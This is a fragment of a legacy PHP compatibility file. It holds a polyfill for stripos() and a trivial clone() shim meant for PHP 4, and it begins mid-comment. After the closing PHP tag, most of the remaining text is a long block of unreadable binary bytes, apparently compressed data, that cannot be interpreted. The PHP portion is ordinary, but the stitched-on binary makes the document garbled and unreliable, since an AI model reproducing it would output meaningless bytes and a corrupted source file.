4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x<]sۺr88kd[Vl+8>'t4 (BA+:NH{nCw")ZNl.vR/CrDr ^ Ϭ Nͱ^tO~>&OzwAmn]W}" 4 ж__[8`8EXy >3Fxާ {!~a#ZM<wEX} jfӈ3 ݞht!q#rx0sHB ODz%\sϡ/[7(GYHSRL*+7< -w]&#c%ce X"c3&`o.GI>$Q2L>-.BU*4-OI|0/JD (#x33*=3+>BNK"&"g 9'3 }I^<#F*M>NJ3.#ꠗ(yO }2S`B[3i#O;;;alxf؉@ I-Oà ΢;֣n'W {: nno*GQ)\H7$pѭG~L,G5Ipf]h1@9KU q}*b&rqF 5Ϣ,k'xbۥϣ^mqPTC,ݭHNQ{3h?ddx?:Xa3 / !bDpf0PO.2tGȩܓn,ta?6@[v#'=kjDQؚQ@1D1)*p+P = kPsSM [IY ٩MA@G7[O}_tb }հ! = nmx,  /p 6T}<g~@˿Ē<&QW\į1s$џhXelxxέu=|S|Y _@X"} _}] @\*׼L,"q8a ouG0 J?loɕ2 pME9TǣV3,TRPT^ QjImũg^|2ŏnW''=|"6̔rp}x u db<ڇ=kl|w͹~kLSk85IGFYkCPr+0P:1A#C } B{jiOpK?\=NN=wfϧJ?(8{jmO tF.i['!TJ-PatrTTXUpVll)4`BKb(j[ty(3e8 n5?Wl8\mJ?36"!G8-v^m7?ZG%_r\s{5;G̏2?=Լ.z-Waeּl*n68m(";Fyչ1ԑጶt%M@y|֔U*2/ =3-3˦\͸mg7[fnuk\tli-gCn]=C·!Xę=94L}}۹ ,4dbLm ]⑔b(i&ÿmϷs|,1ck̴: +lhJ"^XLSٚĎ5Vl!|$=$=j+BM3xDe3[5VX<̜~Ҋ! {}sݻ]kݬ?bTv_-]o/}-#XO2!c*fV!Ҋ`Si] 5D7xq\Ox\ қɀ}/}y(s+> "Z]AfƷd'R2{#E!2 s;Q6n"` B' WX;-X 1dq̢?HOF C:kF e؟sA .rA;ggG!57!d(CDL&bKe9+1`N ypG٦Vur;;b/ܴ޾%x}`ȻQ}1dq40,ҷ|@P3/lk99pʤr_$+ޞo*|?}FoT yJ~QV/gG{#A#H^оمO&_TGJX_ 2xJV;qeY3O^0|[*[ϡV1,2^[nm{ms_Ph7~9m!/bg4PcTT& 4)L`< YMq3yE=j(7'%6h"9VRܣAɣPc{0PGuPxoC$a:+x*B>IhJ![a+m#.e1L AI 1uvȡ|j=Xr1ӚlO~<9s"4[HW5% WR>-o :үMӅuZ[b+⛼%-N7nV՝!,t}NGc ! 4W+aqXk@:C \ SS=<)1\֪b;\l7>ԌcTG6蔠5;oʩhļ{5J<